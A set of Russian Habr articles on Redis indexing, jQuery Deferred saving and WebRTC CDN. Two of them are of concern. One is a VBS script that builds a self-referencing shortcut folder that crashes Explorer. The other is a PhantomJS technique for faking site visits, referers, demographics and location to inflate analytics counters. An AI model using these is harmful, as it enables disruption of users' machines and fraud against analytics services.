```
> SUNION cheetahs redis
1) "ex2"
2) "ex1"
3) "ex3"
```
Удаление объекта из индекса немного сложнее. Сначала получим индексированные слова из документа, затем удалим идентификатор документа от каждого слова:
```
> SMEMBERS ex3
1) "spots"
2) "have"
3) "cheetahs"
> SREM have ex3
> SREM cheetahs ex3
> SREM spots ex3
```
В Redis нет отдельного оператора, чтобы выполнить все эти шаги одной командой, поэтому сначала придётся запрашивать командой SMEMBERS, затем последовательно удалять каждый объект при помощи SREM.
Конечно, это очень упрощённый полнотекстовый поиск. Можно сделать более продвинутый, используя сортированные множества вместо обычных. В этом случае, если в документе слово встречается больше одного раза, вы можете ранжировать его выше, чем документ, в котором оно встречается единожды. Описанные выше паттерны более-менее одинаковы, за исключением используемых типов множеств.
### Партиционированные индексы
Единственный экземпляр (или шард) Redis очень жизнеспособный, но есть обстоятельства, когда вам может понадобиться индекс, распределённый по нескольким экземплярам. Например, чтобы повысить пропускную способность распараллеливанием индексов, размер которых превышает свободное пространство экземпляра. Скажем, вы хотите выполнить операцию над несколькими ключами. Эффективный способ разделить (партиционировать) эти ключи – обеспечить равномерное распределение ключей по каждой партиции, выполнять любые операции в каждой партиции параллельно и затем объединять результаты по окончанию.
Чтобы достичь равномерного распределения ключей, мы будем использовать некриптографический алгоритм хеширования. Подойдёт любая быстрая функция хеширования, но мы используем известную CRC-32 для примера. В большинстве случаев эти алгоритмы возвращают результат в шестнадцатеричном виде (для «my-cool-document» CRC-32 выдаст F9FDB2C9). Шестнадцатеричное представление проще для машины, но это просто другое представление десятичных целых чисел, которое означает, что можно выполнять вычисления на этих значениях.
Далее нужно определить число партиций – это должно быть по крайней мере х2 от количества экземпляров. В дальнейшем это способствует масштабированию.
Допустим, у нас есть 3 экземпляра и 6 партиций. Вычислить партицию, на которую отправить документ, можно следующей операцией:
```
CRC32(“my-cool-document”) = F9FDB2C9 (16) или 4194153161 (10)
4194153161 mod 6 = 5
```
В Redis Enterprise вы можете контролировать, к какой партиции относится ключ, используя либо предопределённые регулярные выражения, либо оформив часть ключа фигурными скобками. Так для нашего примера мы можем установить ключ для документа следующим образом:
*idx:my-cool-document{5}*
Затем у нас есть другой документ, который выдаёт партицию с номером 3, следовательно, ключ будет выглядеть так:
*idx:my-other-document{3}*
Если у вас есть дополнительные вспомогательные ключи, с которыми вам нужно будет работать, и которые связаны с этим документом, вам нужно, чтобы они находились на той же партиции так, чтобы вы могли выполнять операции с обоими ключами одновременно, не сталкиваясь с кучей ошибок. Для этого вам надо добавить к ключу тот же самый номер партиции, что и у документа.
Отдалённо просматривая ваши данные, вы увидите, что ваш индекс довольно равномерно распределён по партициям. Вы можете распараллелить задачу, которую необходимо выполнить для каждой партиции. Когда у вас есть задача, которую нужно сделать через весь индекс, вашему приложению нужно будет выполнить ту же логику для каждой партиции, вернуть результат и объединить так, как требуется в приложении.
На этом первая статья подходит к концу. В следующей будет перевод подглав «Паттерны взаимодействия» и «Паттерны хранения данных». | https://habr.com/ru/post/485672/ | null | ru | null |
# Создаем рекурсивные ярлыки в Windows
Все мы знаем, что такое ярлык. А что будет, если сделать ссылку ярлыка самого на себя?
Создание ярлыка на ярлык приводит к его копированию. И что будет, если принудительно создать побайтно такой ярлык?
Но, расскажу я не об этом, а о том, как можно создать папку, от вида которой все программы вылетают с ошибками.
Да, только от вида: на папку даже кликнуть не успеете.
Зайти в такую папку обычными файловыми менеджерами будет невозможно.
Но тут не обошлось без ярлыка, и я расскажу, как это сделать и для чего можно использовать.
#### Предыстория
Когда я учился в университете, было полно времени, и я изучал Windows всеми возможными способами.
Перерыл все папки системы, весь реестр, искал глюки и находил их.
Это было давно, но я вспомнил про один интересный «глюк», о котором расскажу в этом посте.
Однажды я заметил, что, если перетащить любую папку в Пуск=>Все программы, то там создается не ярлык, а папка.
Ее можно перетащить на рабочий стол, и она будет выглядеть, как папка, но вести себя, как ярлык.
Это меня озадачило, и я начал копать глубже.
Обнаружил, что такие папки сами создаются в «Сетевом окружении» и ведут себя так же.
Понял, что увидеть «настоящие» внутренности папки с помощью проводника невозможно.
Запустив консоль, я смог добраться к файлам внутри.
Там были два файла: desktop.ini и target.lnk
Если переименовать или удалить один из файлов, то проводник начнет показывать настоящие внутренности.
В файле desktop.ini обнаружил следующий текст:
```
[.ShellClassInfo]
CLSID2={0AFACED1-E828-11D1-9187-B532F1E9575D}
Flags=2
```
А ярлык ссылался на ту папку, которую я создал в начале.
Меня это заинтересовало, поскольку понял, что внутри такой папки могут быть еще файлы, и их никто не увидит.
В университете все компьютеры были с ограниченным доступом, и мою папку с личными файлами мог удалить любой студент, а компьютера у меня тогда не было.
И флешек тогда не было. Дискеты не надежны, так что хранить свои файлы на университетских компьютерах было небезопасно.
И я понял, что мои файлы в такой папке никто не увидит, а получить доступ к своей папке я могу по прямому адресу внутри папки-ярлыка.
Но это не давало защиты персональным файлам: папку все равно могли удалить вместе с моими данными.
Я возился дальше с интересной папкой, пробовал заменять файл target.lnk на свой, и смотреть, что получится.
Можно менять иконку ярлыка, и иконка папки в этом случае тоже меняется.
И тут я создал ярлык на тот же файл desktop.ini, переименовал его на target.lnk
Такому эффекту я сразу не поверил, и не понял, в чем дело: после переименования проводник сразу же выдал ошибку и перезапустился.
Я полез обратно в созданную папку, и как только увидел ее, то проводник опять вылетел.
Я начал исследовать странный эффект и понял, что проводник пытался получить свойства папки-ярлыка, и они перенаправлялись на саму папку еще раз. В итоге получается зацикливание.
Пробовал заходить в папку разными программами: даже Total Commander вылетал при попытке зайти в нее, пускай даже с задержкой. Зайти в нее удавалось только с помощью консоли.
И я понял, что эта папка будет хорошо хранить мои данные, и никто из студентов не сможет даже щелкнуть мышкой на нее, чтобы удалить.
#### Последовательность действий
Дальше я расскажу, как сделать такую папку, отвязать привязку к пути, и как создать на флешке такую «защищенную» папку, которая бы «работала», как положено, на всех компьютерах.
##### Для того, чтобы папка-~~убийца~~ ярлык работала, как положено, должно быть следующее:
* у папки должен быть атрибут System
* в папке должен быть файл desktop.ini с правильным контентом
* в папке должен быть ярлык target.lnk, который ссылается на файл desktop.ini в этой же папке
##### При создании такой папки, используя проводник, есть подводные камни
* атрибут System для папки должен быть задан до создания внутренних файлов
* надо сначала записать данные в desktop.ini и только после этого ставить его в папку
* перед тем как положить ярлык target.lnk в папку, в нее надо перезайти
##### Создаем «защищенную» папку, которая работает на всех файловых системах Windows
1. создать пустую папку, желательно не на рабочем столе
2. создать подпапку, положить туда ваши данные и запомнить путь
3. задать первоначальной папке атрибут System
4. создать текстовый файл desktop.txt и записать в него данные, как написано выше
5. переименовать desktop.txt в desktop.ini
6. создать ярлык на desktop.ini под названием target.lnk, и проводник перезапустится
Теперь надо заходить в вашу подпапку только по адресу и, желательно, не в проводнике (из-за сохранения предыдущих путей).
Например, в консоли написать explorer.exe <адрес папки>, и история не будет сохранена, чтобы никто не вычислил путь.
Для автоматизации создания такой папки я написал скрипт:
```
Dim arg, WSHShell, fsobj, file, link
Set arg = WScript.Arguments
Set WSHShell = WScript.CreateObject("WScript.Shell")
Set fsobj = WScript.CreateObject("Scripting.FileSystemObject")
If arg.Length = 0 Then
WSHShell.Popup "Перетащите папку на этот файл"
End If
If arg.Length > 0 Then
'Задаем атрибут папки Системный
fsobj.GetFolder(arg(0)).Attributes = 1
'Пишем файл desktop.ini
Set file = fsobj.OpenTextFile(arg(0) + "\desktop.ini", 2, True)
file.Write "[.ShellClassInfo]" + vbCrLf
file.Write "CLSID2={0AFACED1-E828-11D1-9187-B532F1E9575D}" + vbCrLf
file.Write "Flags=2" + vbCrLf
file.Close
'Создаем ярлык target.lnk который ссылается на desktop.ini
Set link = WSHShell.CreateShortcut(arg(0) + "\target.lnk")
link.TargetPath = arg(0) + "\desktop.ini"
link.Save
WSHShell.Popup "Папка-убийца создана"
End If
```
Его надо сохранить в файл под названием mkFolderKiller.vbs, и папку перетаскивать на него.
##### Привязка пути к защищенной папке
Созданная папка будет строго зависеть от ее первоначального адреса.
Если ее переименовать, тогда можно будет в нее зайти.
И я нашел решение, хоть и не идеальное, но которое позволяет менять адрес папки.
Нам надо создать пустую папку в таком месте, в которое пользователь не сможет залезть.
Например, глубоко в файлах системы (если есть доступ).
Задаем ей атрибут System, и пишем туда файл desktop.ini, но не спешим делать ярлык.
Теперь, на другом диске, там, где должна быть папка с данными, делаем то же, например, на D:\.
Берем ярлык файла desktop.ini с диска С:\ и кладем в папку, что на диске D:\. Только после этого делаем ярлык в папке диска C:\.
В результате, папка, что на диске D:\, будет исполнять свою «функцию», которая нам нужна, даже если менять ее адрес.
##### Защита папки на флешке
Тут особо говорить нечего.
Думаю, многие догадались, что можно создать папку, в которой будут «защищенные» папки для всех букв алфавита.
А доступ к вашей защищенной папке можете получить только вы, зная полный адрес.
#### Выводы
Каждый может создать себе эту папку, ради забавы, ради тестов или ради примитивной защиты.
##### Является ли это надежной защитой?
Конечно же, нет. Есть много других способов надежнее этого.
Для опытного пользователя не составит труда разобраться, и попасть в такую «защищенную» папку.
Но это озадачит на некоторое время. А простые пользователи и вовсе не смогут попасть туда.
##### На каких версиях Windows эта папка будет «работать»?
Лично я проводил все эксперименты в университете, на Windows XP и 2000.
И, со временем, на Windows Vista, 7 и Windows 8.
Вне зависимости от разрядности системы, оно работает на всех версиях.
##### Приносит ли вред эта папка компьютеру?
Конечно же, нет. Все, что она делает, это зацикливает процесс, который хочет получить к ней доступ, и это приводит к его перезапуску.
##### Как удалить такую папку-убийцу?
Можно зайти с помощью консоли в папку и переименовать один из двух файлов или убрать флаг System у папки.
Или переименовать коренную папку, чтобы нейтрализовать зацикливание.
##### Если не терпится попробовать
Можете скачать файл по ссылке [ShortcutKiller.rar](https://www.dropbox.com/s/5nffmxm0rswswnb/ShortcutKiller.rar?dl=1),
распаковать его в папку C:\TEMP\1234, и перезайти в нее.
В архиве есть папка 1 с двумя файлами desktop.ini и target.lnk, привязанными только к этому пути.
Надеюсь, статья была вам интересна, и что у меня получилось хорошо все объяснить.
Я находил еще много разных глюков, про которые нигде не написано, может, расскажу в другой раз :) | https://habr.com/ru/post/152747/ | null | ru | null |
# Рекурсивное сохранение вложенностей с помощью $.Deferred
Приветствую хабр, довелось мне недавно писать сервис опросов. В админке этого сервиса была форма с вопросами и вложенными в них примечаниями. И нужно было мне при сохранении вопроса, сохранять все открытые на редактирование вложенности, в чем мне безумно помог jQuery $.Deferred, об этом я и хочу рассказать вам в этой статье.
Допустим у нас есть такая структура вопросов и примечаний к ним, как указана на скриншоте справа, её мы и будем разбирать. Я не дизайнер, стилизировал как смог, чисто для этой статьи, так что извиняйте.
Пойдем по порядку.
Сначала объясню какие были условия.
Есть вопросы, внутри них могут быть примечания. При нажатии редактировать или сохранить — с сервера возвращается вёрстка вопроса/примечания и заменяется в шаблоне. Задача в том чтобы не потерять изменения примечаний при сохранении вопроса, если одновременно редактировались и вопрос и вложенное примечание.
Есть несколько вариантов решения этой проблемы, наверняка можно было отправлять всё разом на сервер а там уже разбирать, но это потребовало бы изменения структуры.
Мне понравился вариант с отложенным сохранением родительского вопроса, если имеются на сохранение некие дочерние элементы. Такое поведение бывает нужно в самых разных ситуациях, и даже в моей недолгой практике это потребовалось уже несколько раз.
Для нетерпеливых в самом конце статьи есть ссылки на демо.
Первый вопрос, никаких вложенностей.
------------------------------------
**Вёрстка выглядит так**
```
* Первый вопрос, без вложенностей
edit
```
При нажатии «edit» — передаем на сервер id вопроса и получаем вёрстку в «режиме редактирования», заменяем и выглядеть это будет так:
**вёрстка в режиме редактирования:**
```
* save
```
Изменяем текст, нажимаем «save» — передаём id вопроса, измененный текст и получаем вёрстку в «обычном режиме» (на предпоследнем скриншоте).
**В простейшем виде логика сохранения вопроса может выглядеть вот так:**
```
$('.questions').on('click', '.save', function() {
var $li = $(this).closest('li');
saveData($li);
});
function saveData($li) {
var $item = $li.children('.question'),
id = $item.id,
$input = $item.children('input');
$.ajax({
type: 'POST',
url: '/save',
dataType: 'json',
data: $input.serialize(),
success: function(response) {
if ( ! response.errors) {
$li.replaceWith(response.data);
}
}
});
}
```
Здесь всё легко, еще раз хочу акцентировать внимание на том, что после сохранения сервер возвращает нам вёрстку всего вопроса.
Второй вопрос, есть вложенности первого уровня.
-----------------------------------------------
**вёрстка:**
```
* Вопрос второй с вложенностями
edit
+ 1е примечание
edit
+ 2е примечание
edit
```
Здесь уже интереснее, ведь при сохранении/редактировании вопроса — вёрстка вопроса заменяется, а значит заменяются и все вложенности, т.е. примечания. А что если во время сохранения вопроса также редактировались примечания?
Вот что я имею ввиду
Если пользователь не нажмет «save» на примечании, а сразу нажмет на «save» вопроса — правки в примечании не сохраняться, вёрстка просто заменится на ту что вернется с сервера. Получается при сохранении вопроса нам нужно смотреть нету ли открытых на редактирование примечаний, и если есть — сначала сохранять их, а затем уже сохранять вопрос. Тобишь нам нужно отслеживать момент когда сохранились все вложенные примечания, именно в этом месте нам и и поможет $.Deferred.
Сначала распишу как это работает в теории по примеру изображенному на картинке выше, затем пройдемся по коду.
При нажатии «save» вопроса — в $.ajax методе beforeSend смотрим нету ли открытых на редактирование вложенностей, если есть — прерываем сохранение вопроса, создаем $.Deferred объект и подписываемся на завершение сохранения всех вложенностей, по завершению — снова запускаем сохранение вопроса.
**Посмотреть код:**
```
$('.question').on('click', '.save', function() {
saveData.call(this);
});
function saveData() {
// this указывает на кнопку сохранения (может быть как вопрос, так и примечание)
var self = this,
// соберем нужные элементы сохраняемого вопроса/примечания
$button = $(this),
$item = $button.closest('div'),
$li = $item.closest('li'),
// а также все данные необходимые для сохранения
id = $item.attr('id').replace(/[^0-9.]/g, ""),
inputs = $item.find(':input'),
type = $item.attr('class');
// создаём деферред обьект и возвращаем его (чтоб отследить выполнение)
return $.Deferred(function() {
var def = this;
$.ajax({
type: 'POST',
url: '/save',
dataType: 'json',
data: inputs.serialize() + '&id=' + id + '&type=' + type,
beforeSend: function(xhr){
// ищем открытые на редактирование вложенные примечания, кроме тех у которых есть класс .ignore
// .ignore мы будем навешивать на те примечания, которые по какимто причинам не удалось сохранить
// (а если не удалось сохранить значит вёрстка не заменится мы попадём в бесконечный цикл
// когда вернемся сохранять сам вопрос)
var $inner_notes = $li.find('ul .save').not('.ignore');
// если редактируемые влоеженности есть..
if($inner_notes.length) {
// создаем массив для примечаний что нужно будет сохранить
var deferreds = [];
$inner_notes.each(function() {
// добавляем в массив примечания, передавая на выполнение эту же функцию но с
// контекстом this кнопки .save этого примечания
deferreds.push(saveData.call(this));
});
// Подписываемся на завершение сохранения всех примечаний
$.when.apply(null, deferreds).always(function() {
// как только закончили с примечаниями - наконецто вызываем сохранение вопроса.
// self хранилась в замыкании и всё еще указывает на .save самого вопроса
saveData.call(self);
});
// прерываем сохранение вопроса
xhr.abort();
}
},
success: function(response){
if ( ! response.errors) {
// заменяем вёрстку всего вопроса, включая вложенности
$li.replaceWith(response.data);
} else {
// если сохранение не удалось, игнорируем этот элемент в последнем проходе
$button.addClass('ignore');
}
},
error: function() {
// если сохранение не удалось, игнорируем этот элемент в последнем проходе
$button.addClass('ignore');
}
}).complete(function() {
// вне зависимости от успешности аякс ответа - отмечаем деферред как resolve()
def.resolve();
});
});
}
```
Наверняка здесь есть много «WTF? моментов», поэтому распишу подробнее что я имел ввиду.
1. **Чему равен this внутри saveData?**
**Ответ:**this всегда равен элементу save сохраняемого вопроса/примечания.
Просто мне так было удобнее ориентироваться в элементах.
```
// внутри функции
saveData: function() {
var self = this,
$button = $(this),
$item = $button.closest('div'),
$li = $item.closest('li');
}
// при вызове функции указываем контекст
$('.question').on('click', '.save', function() {
saveData.call(this);
});
// также здесь
var $inner_notes = $li.find('ul .save').not('.ignore');
$inner_notes .each(function() {
deferreds.push(saveData.call(this));
});
// и здесь
saveData: function() {
var self = this;
....
$.when.apply(null, deferreds).always(function() {
saveData.call(self);
});
}
```
2. **Как мы отслеживаем завершение сохранения всех вложенностей?**
**Ответ:**С помощью деферреда.
```
var deferreds = [];
$children_notes.each(function() {
deferreds.push(app.saveData.call(this));
});
$.when.apply(null, deferreds).always(function() {
saveData.call(self);
});
```
* Создаём массив, в него добавляем вызов функции сохранения (эту же функцию) но в контексте всех вложенных примечаний открытых на редактирование.
* $.when( func1, func2 ).done( func3 )
Синтаксис говорит сам за себя, при выполнении func1 и func2 — запустить func3.
У нас массив функций, поэтому передаём их с помощью .apply().
* Здесь deferred начинает выполнять все функции что мы ему передали и ждет пока они выполняться.
Каждая вложенная функция известит о своем завершении с помощью .resolve()
```
saveData: function() {
...
return $.Deferred(function() {
var def = this;
...
$.ajax({...}).complete(function() {
def.resolve();
});
}
}
```
* Как только все из них выполняться, запустится func3, тобишь в нашем случае .always(function() { saveData.call(self); }), где self указывает на .save элемент вопроса.
3. **Зачем делать return $.Deferred(function() { }); ?**
**Ответ:**Деферред работает таким образом, что если одновременно подписаться на несколько аякс запросов и один из них выполниться неудачно (вернёт error) — дальнейшая цепочка вызовов функций в деферред оборвется и все оставшиеся функции/запросы выполнены не будут. В аякс встроен свой деферред и поменять его поведение мы не можем, но, мы можем обернуть аякс запрос в некую обёртку и по завершении несмотря на успешность запроса — принудительно извещать об успешном выполнении.
```
return $.Deferred(function() {
var def = this;
$.ajax({...}).complete(function() {
def.resolve();
});
});
```
4. **Почему возвращаем именно $.Deferred(function() { }); ?**
**Ответ:**$.Deferred можно создавать двумя способами…
```
// Обе функции идентичны
function someFunc(){
// создаем
var def = $.Deferred();
setTimeout(function(){
// извещаем о выполнении
def.resolve();
}, 1000);
// подписываемся
return def.promise();
}
function someFunc(){
// создаем и подписываемся
return $.Deferred(function() {
var def = this;
setTimeout(function(){
// извещаем о выполнении
def.resolve();
}, 1000);
})/* .promise() */; // по сути происходит это, но мы можем .promise() опустить, deferred это сделает за нас.
}
//someFunc.done(function() {});
```
… но если бы я сделал по первому способу, аякс пришлось бы вынести в отдельную функцию, а мне не хотелось, так что это чисто дело эстетики.
5. **Зачем класс .ignore?**
**Ответ:**Короткий ответ: чтоб не попасть в вечный цикл.
Расширенный ответ: легче будет объяснить пройдясь построчно, как это делает код.
Предположим у нас открыта на редактирование вопрос и 2 внутренних примечания, нажимаем сохранить вопрос.
1. После нажатия .save по вопросу — ищем .save для всех вложенных примечаний. Нашли 2, остановили сохранение вопроса.
```
beforeSend: function(xhr){
xhr.abort();
}
```
2. Успешно сохранили первое примечание, его вёрстка заменилась.
3. При сохранении второго примечания произошла какая-то ошибка, вёрстка не заменилась, кнопка .save осталась.
4. Поскольку в массиве на выполнение примечаний больше не осталось, вызывается сохранение вопроса
```
$.when.apply(null, deferreds).always(function() {
saveData.call(self);
});
```
5. Снова попадаем в beforeSend и проверяем на наличие не сохраненных вложенностей
```
var $inner_notes = $li.find('ul .save')/*.not('.ignore')*/; // предположим .not() нету
if($inner_notes.length) {}
```
6. Поскольку одно из примечаний не сохранилось — мы его находим, и тут происходит одно из двух.
* Либо во второй раз по каким-то причинам примечание сохранится удачно, после чего удачно сохранится вопрос.
* Либо снова неудача и мы попадаем в бесконечный цикл.
Благодаря классу .ignore мы можем обезопасить себя от таких случаев.
Не удалось сохранить примечание? Что-ж, се ля ви, нам то главное вопрос сохранить.
Третий вопрос, многоуровневая вложенность.
------------------------------------------
**Вёрстка:**
```
* Вопрос c многоуровневыми вложенностями
edit
+ 1е примечание
edit
+ 2е примечание
edit
- 4е примечание
edit
* 7е примечание
edit
* 8е примечание
edit
- 5е примечание
edit
* 6е примечание
edit
+ 3е примечание
edit
```
Казалось бы здесь код станет совсем страшным, но на самом деле прежняя реализация уже практически подходит для этого. Нужно добавить всего лишь одну функцию.
Дело в том, что..
```
var $inner_notes = $li.find('ul .save').not('.ignore')
```
… соберёт примечания на всех уровнях вложенности, и если родительское примечание сохраниться раньше дочернего, дочернее не успеет сохраниться. Проблема повторяется. Все что нам нужно сделать — заставить каждое родительское примечание вести себя как вопрос по отношению к дочерним элементам.
Т.е. если мы сохраняем примечание, и в beforeSend обнаруживается что внутри него есть еще не сохраненные примечание — приостанавливаем сохранение родительского примечания и ждем пока выполняться все дочерние.
При большом количестве вложенностей получается такая себе глубокая рекурсия.
Скажем, наш пользователь совсем обезумел и решил сохранить вопрос когда у него открыто на редактирование такая ветка.
Мы не можем сразу сохранить «2е примечание», т.к. тогда потеряются правки всех остальных примечаний.
Значит мы должны идти снизу вверх. Как вы считаете какая будет правильная последовательность сохранения примечаний, чтобы ничего не упустить? 8,6, затем 4, затем 2 и вопрос.
Но нажимаем то мы сохранить по вопросу, а значит нам нужна функция которая будет находить ближайшие дочерние элементы, такой себе .closest() метод, но наоборот.
**Реализация и применение функции**
```
// от предыдущего примера изменился только beforeSend метод, добавился вызов ф-ции getClosestChildrens
saveData: function() {
....
beforeSend: function(xhr){
var $inner_notes = $li.find('ul .save').not('.ignore'),
// фильтруем вложенности и оставляем только ближайшие дочерние редактируемые элементы
$children_notes = getClosestChildrens($inner_notes);
if($children_notes.length) {
var deferreds = [];
$children_notes.each(function() {
deferreds.push(app.saveData.call(this));
});
// запускаем сохранение вложенностей и подписываемся на завершение их сохранения
$.when.apply(null, deferreds).always(function() {
// вызываем запрос на сохранение родительского элемента
// теперь это может быть как вопрос, так и примечание.
// self берётся из замыкания и всегда указывает на родителя.
app.saveData.call(self);
});
// прерываем сохранение вопроса/примечания
xhr.abort();
}
},
....
}
// функция нахождения ближайших редактируемых примечаний (ближайшие на любом уровне вложенностей).
// так и не придумал как это сделать оптимальнее поэтому просто перебираю
// все дочерние элементы и нахожу те из них, у которых нету родителей.
// т.е. нахожу ближайшие "примечания родители", либо ближайшие примечания без вложенностей.
function getClosestChildrens($inner_notes) {
var children_notes = $.grep($inner_notes, function(value, key) {
var is_child_of = false,
$btn = $(value),
$parent_li = $btn.closest('li');
$inner_notes.not($btn).each(function(key,v) {
if($(this).closest($parent_li).length) {
is_child_of = true;
}
});
return is_child_of ? false : true;
});
return $(children_notes);
}
```
Теперь логика выполнения выглядт следующим образом:
1. Нажимаем «save» вопроса
2. В beforeSend находим все примечания, откидываем все кроме ближайших дочерних. Остается 2е примечание. Останавливаем сохранение вопроса, подписываемся на завершение сохранения 2го примечания.
3. Начинаем сохранение 2го примечания, видим что есть вложенности, находим их (4, 8, 6), откидываем все кроме ближайших. Остаются 4 и 6. Останавливаем сохранение 2го примечания, подписываемся на завершение сохранения 4го и 6го.
4. Начинаем сохранение 6го примечания, вложенностей нету, сохраняем его.
5. Начинаем сохранение 4го примечание, находим вложенности (8е). Останавливаем сохранение 4го примечания, подписываемся на завершение сохранения 8го.
6. Начинаем сохранение 8го примечания, вложенностей нету, сохраняем его.
7. Начинаем сохранение родительского примечания для 8го, т.е. 4е примечание. Редактируемых вложенностей не осталось, сохраняем.
8. Начинаем сохранение родительского примечания для 8го и 6го, т.е. 2е примечание. Редактируемых вложенностей не осталось, сохраняем.
9. Начинаем сохранение вопроса. Редактируемых вложенностей не осталось, сохраняем.
p.s.1 Я во всех примерах рассматривал сохранение начиная с вопроса, но это только из-за того что вопрос находится в самом верху, так сказать самый трудный вариант. Конечно же, если в такой ситуации как изображена на последнем примере нажать сохранить на одном из примечаний, скажем 2м, все вложенные в него примечания также успешно сохраняться.
p.s.2 Во всех я примерах показал функцию saveData, которая вызывается при сохранении элемента. Также нужно добавить beforeSend функцию в ф-цию editData, которая вызывается при нажатии на редактирование элемента. Ведь если мы нажимаем редактировать вопрос, а внутри остались редактируемые примечания — их также нужно сохранить, но это вы уже можете посмотреть в демо.
Таким образом можно сохранять структуры любых вложенностей без потери редактируемых данных.
Для демонстрации пришлось применить немного php (для ответов с сервера), отчего продемонстрировать демо на jsFiddle не могу.
Я залил полностью работающий пример на [Github](https://github.com/NeXTs/Wait-while-recursive-saving-nested-items), так что кому интересно можете скачать и поиграться у себя.
Также залил демо на один завалявшийся хостинг, [посмотреть демо](http://chooozy.com/habr/saving_nested/).
Я добавил задержку в 1 секунду чтобы можно было увидеть как происходит замена вёрстки. Каждый раз когда редактируется либо сохраняется вопрос/примечание, при замене вёрстки мигает фон текущего блока. Так легче понять что происходит.
Вот и всё, буду рад ответить на любые вопросы в комментариях. | https://habr.com/ru/post/204456/ | null | ru | null |
# Немного про накрутку счетчиков посещений сайтов
В этой статье я хочу рассказать как накручиваются счетчики посещений на сайтах, подделываются демография, местоположение и другие параметры мониторинговых сервисов.
Как работает счетчик?
---------------------
Мы размещаем javascript код, который при загрузке страницы начинает отправлять http запросы на сервер счетчика.
Это может быть как одноразовый запрос, в заголовке которого передаются данные, так и периодические запросы, отправляющие больше статистики.
В качестве подопытного я взял «простой» счетчик посещений — liveinternet.
Разбираем http
--------------
При загрузке страницы, js счетчика отправляет GET запрос на получение картинки со статистикой. При этом в url он передает часть данных о клиенте.
Если декодировать строку запроса, то получится примерно это:
`http://counter.yadro.ru/hit?t54.6;rhttp://RefererName.com/;s1920*1080*24;uhttp://SiteName.com/;hSite Header;0.5985211677780615`
Мы видим ряд параметров, разделенных «;», а именно: размер монитора и его разрешение, страницу перехода, url и заголовок странички, с которой был произведен запрос и случайное число, гарантирующее уникальность визита.
Также в http header передаются *Cookie* и *User-Agent*, которые информируют сервер о демографии юзера(не только) и версии браузера соответственно.
Все эти данные в совокупности идентифицируют пользователя.
От теории к практике
--------------------
Формировать запросы можно с помощью Curl, но будут проблемы c js, да и для каждого счетчика придется писать индивидуальные запросы.
Я остановил свой выбор на [PhantomJS](http://phantomjs.org/) — WebKit в консоли.
Напишем простой скрипт, который нам засчитает уникальный визит.
```
var page = require('webpage').create();
var system = require('system');
var url = system.args[1];
page.open(url, function(status) {
console.log("Status: " + status);
phantom.exit();
});
```
Некоторые счетчики даже засчитают посещение, но это не совсем то, что ожидалось.
Установим **User Agent** и **Referer**(страница, с которой совершен переход).
Первое делается довольно просто:
```
var userAgent = 'Custom UA';
page.settings.userAgent = userAgent;
```
Со второй задачей все немного сложнее. Дело в том, что если в http header просто прописать Referer, то счетчики не засчитают нам переход. Для «настоящего» перехода нам нужно именно кликнуть по ссылке, обработав тем самым событие js.
**Код**
```
var page = require('webpage').create();
var system = require('system');
var url = system.args[1];
var userAgent = 'Simple UA';
page.settings.userAgent = userAgent;
var expectedContent = '[link](' + url + ')'; // Создаем ссылку с нашей «целью»
var expectedLocation = system.args[2]; // Устанавливаем наш referer
page.setContent(expectedContent, expectedLocation); // Наполняем страничку содержимым и url
page.firstLoad = true;
page.onLoadFinished = function(status){
if(page.firstLoad){
page.firstLoad = page.evaluate(function(){
console.log('Set Referer');
document.getElementById('link').click(); // Кликаем по созданной ссылке
return false;
});
}
else{
console.log("Status: " + status);
phantom.exit();
}
};
function click(el){
var ev = document.createEvent("MouseEvent");
ev.initMouseEvent( // Выставляем параметры клика
"click",
true, true,
window, null,
0, 0, 0, 0,
false, false, false, false,
0, null
);
el.dispatchEvent(ev);
}
page.onConsoleMessage = function (msg){ // выводим лог внутри функций
console.log(msg);
};
```
Забавно, что с помощью **page.setContent** мы эмулируем домен и содержимое странички.
По сути можно просто взять js счетчиков, положить их в тело странички и проводить все манипуляции на своем веб сервере.
**Меняем разрешение экрана**
Теперь изменим дополнительные параметры, такие как: разрешение экрана, количество цветов.
В PhantomJS есть функция, с помощью которой можно модифицировать трафик «на лету».
```
page.new_resolution = "800x600x24".split('x'); // Новое разрешение
page.onResourceRequested = function(requestData, networkRequest){
// 1920*1080*32 - стандартные параметры для моего PhantomJS
var newUrl = requestData.url.replace("1920*1080*32", page.new_resolution[0] + "*" + page.new_resolution[1] + "*" + page.new_resolution[2]);
// Меняем разрешение под другие счетчики
newUrl = requestData.url.replace("1920", page.new_resolution[0]);
newUrl = newUrl.replace("1080", page.new_resolution[1]);
newUrl = newUrl.replace("32-bit", page.new_resolution[2] + "-bit");
networkRequest.changeUrl(newUrl); // Производим изменения
};
```
К сожалению, функция обрабатывает только GET запросы, но для эксперимента этого хватило.
Демография и Cookie
-------------------
Если все делать с пустыми cookie, то счетчики заблокируют просмотры и кинут нам бан.
Причем cookie должны быть относительно «старые»(сутки минимум).
Я написал граббер и «погулял» по популярным сайтам в сети, сохранив связку с cookies.
В PhantomJS cookie подключаются с ключом *--cookies-file*.
`phantomjs --cookies-file=/path/to/cookies.txt`
С демографией все довольно просто: надо авторизоваться на каком-нибудь популярном ресурсе(я взял почтовые аккаунты mail.ru), после этого наш «пользователь» будет иметь пол и возраст.
Что удивительно, когда я «прогуливался» по сайтам, почти с каждого из них ко мне сохранялась кука от doubleclick.net. Она отвечает за рекламные рекомендации(в 2007 эту компанию выкупил Google за 3,1 млрд долларов).
Меняем местоположение
---------------------
С подменой местоположения нет никакой магии, надо менять ip.
PhantomJS поддерживает прокси; нужно запустить программу с ключом *--proxy*.
`phantomjs --proxy=ip:port`
Итог
----
Я поставил популярные счетчики, такие как Google Analytics, Яндекс Метрика и Liveinternet.
Все они засчитали просмотр. В Яндекс Метрике можно посмотреть наличие роботов, там она увидит фейковые запросы.
Кому интересно: [готовый скрипт](https://github.com/bad-day/PhantomJS_FakeVisitor). | https://habr.com/ru/post/347712/ | null | ru | null |
# WebRTC CDN на Google Cloud Platform с балансировкой и автоматическим масштабированием
В [предыдущей статье](https://habr.com/ru/company/flashphoner/blog/562788/), мы вспомнили, что такое WebRTC CDN, как эта технология помогает обеспечивать минимальную задержку в WebRTC трансляциях и почему для CDN не лишним будет использовать балансировку нагрузки и автоматическое масштабирование.
Кратко напомним основные тезисы:
* В CDN низкая задержка в трансляциях обеспечивается использованием технологии WebRTC для передачи видеопотока от Origin сервера к Edge серверам, которые, в свою очередь, позволяют подключить большое количество зрителей.
